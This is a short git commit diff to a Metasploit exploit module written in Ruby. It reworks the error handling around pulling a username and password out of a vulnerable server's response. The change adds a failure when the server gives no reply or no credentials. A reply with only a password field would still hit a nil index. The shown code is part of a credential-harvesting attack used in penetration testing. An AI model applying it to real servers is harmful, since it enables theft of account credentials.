Put lipstick on this pig for the time being
parent
4509c11916
commit
7f3aeca501
|
@ -90,18 +90,24 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
}, 5)
|
||||
|
||||
if not res
|
||||
fail_with(Exploit::Failure::NotFound, 'The server did not respond to our request')
|
||||
end
|
||||
|
||||
resp = res.to_s.split(',')
|
||||
|
||||
user_index = resp.index("\"user\"")
|
||||
pass_index = resp.index("\"password\"")
|
||||
|
||||
if user_index.nil? or pass_index.nil?
|
||||
#We don't find 'user' or 'password', we'll just set them as nil,
|
||||
#and then handle it later after report_auth_info()
|
||||
user = nil
|
||||
pass = nil
|
||||
else
|
||||
user = resp[user_index+1].gsub(/\"/, "")
|
||||
if user_index.nil? and pass_index.nil?
|
||||
# Not a vulnerable server (blank user/pass doesn't help us)
|
||||
fail_with(Exploit::Failure::NotFound, 'The server did not return credentials')
|
||||
end
|
||||
|
||||
user = resp[user_index+1].gsub(/\"/, "")
|
||||
pass = ""
|
||||
|
||||
if pass_index
|
||||
pass = resp[pass_index+1].gsub(/\"/, "")
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue